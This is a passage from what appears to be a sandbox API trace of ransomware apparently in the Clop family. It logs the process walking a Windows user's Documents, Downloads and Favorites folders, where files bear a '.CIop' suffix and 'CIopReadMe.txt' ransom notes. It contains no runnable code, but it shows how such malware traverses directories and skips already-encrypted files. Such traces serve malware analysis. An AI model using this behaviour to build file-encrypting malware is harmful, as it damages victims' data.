lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.253] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.253] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.253] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.253] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.253] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.253] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2="..") returned 1 [0128.253] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2=".") returned 1 [0128.253] lstrlenW (lpString=".CIop") returned 5 [0128.253] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.253] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2="..") returned 1 [0128.253] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2=".") returned 1 [0128.253] lstrlenW (lpString=".CIop") returned 5 [0128.253] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.253] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2="..") returned 1 [0128.253] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2=".") returned 1 [0128.253] lstrlenW (lpString=".CIop") returned 5 [0128.253] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.253] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.253] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.254] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0128.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0128.254] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0128.254] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0128.254] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0128.254] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.254] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.254] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.254] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.254] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.254] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.254] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.254] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0128.254] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0128.254] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.254] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.254] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.254] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0128.254] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0128.254] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.254] lstrcmpW (lpString1="sNkHGs", lpString2="..") returned 1 [0128.254] lstrcmpW (lpString1="sNkHGs", lpString2=".") returned 1 [0128.254] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0128.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0128.254] SetErrorMode (uMode=0x1) returned 0x1 [0128.255] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0128.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0128.255] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0128.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0128.255] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0128.255] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0128.255] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2="..") returned 1 [0128.255] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2=".") returned 1 [0128.255] lstrlenW (lpString=".CIop") returned 5 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2="..") returned 1 [0128.255] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2=".") returned 1 [0128.255] lstrlenW (lpString=".CIop") returned 5 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2="..") returned 1 [0128.255] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2=".") returned 1 [0128.255] lstrlenW (lpString=".CIop") returned 5 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.255] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.255] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2="..") returned 1 [0128.255] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2=".") returned 1 [0128.255] lstrlenW (lpString=".CIop") returned 5 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2="..") returned 1 [0128.255] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2=".") returned 1 [0128.255] lstrlenW (lpString=".CIop") returned 5 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.255] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2="..") returned 1 [0128.255] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2=".") returned 1 [0128.255] lstrlenW (lpString=".CIop") returned 5 [0128.255] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.255] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0128.255] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0128.256] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0128.256] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0128.256] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0128.256] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0128.256] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.256] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.256] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.256] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.256] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.256] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0128.256] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0128.256] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.256] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.257] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.257] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.257] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.257] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.257] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.257] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.257] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.257] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0128.257] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0128.257] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.257] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.257] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0128.257] SetErrorMode (uMode=0x1) returned 0x1 [0128.257] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0128.257] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0128.257] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0128.257] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0128.257] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.257] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0128.257] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0128.257] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.257] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.257] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0128.257] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0128.257] lstrlenW (lpString=".exe") returned 4 [0128.257] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.258] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.258] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.258] lstrlenW (lpString="desktop.ini") returned 11 [0128.258] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.258] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1 [0128.258] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1 [0128.258] lstrlenW (lpString=".exe") returned 4 [0128.258] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.258] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.258] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.258] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0128.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0128.258] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.258] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0128.258] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0128.258] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.258] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.258] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.258] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.258] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.258] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.258] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.258] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.258] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.259] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0128.259] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0128.259] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.259] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.259] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0128.259] SetErrorMode (uMode=0x1) returned 0x1 [0128.259] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0128.259] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0128.259] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0128.259] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0128.259] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.259] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0128.259] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0128.259] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.259] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.259] lstrcmpW (lpString1="Bing.url.CIop", lpString2="..") returned 1 [0128.259] lstrcmpW (lpString1="Bing.url.CIop", lpString2=".") returned 1 [0128.259] lstrlenW (lpString=".CIop") returned 5 [0128.259] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.259] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.259] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.259] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.259] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.259] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.259] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.259] lstrlenW (lpString="desktop.ini") returned 11 [0128.259] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.259] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.259] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.259] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.259] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0128.259] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0128.259] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.260] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0128.260] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0128.260] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.260] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.260] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.260] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.260] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.260] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.260] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0128.260] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0128.260] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: 